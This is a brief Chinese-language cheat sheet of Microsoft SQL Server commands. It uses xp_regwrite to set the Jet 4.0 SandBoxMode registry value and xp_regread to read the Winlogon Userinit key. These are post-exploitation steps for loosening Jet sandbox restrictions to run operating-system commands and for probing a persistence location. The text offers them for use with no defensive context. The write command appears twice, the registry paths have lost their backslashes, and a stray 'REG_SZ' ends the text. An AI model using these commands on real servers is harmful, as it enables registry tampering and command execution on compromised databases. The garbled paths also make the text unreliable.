首先開啟沙盤模式：
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',1
讀注冊表
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindows NTCurrentVersionWinlogon','Userinit'
寫注冊表
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',1
REG_SZ
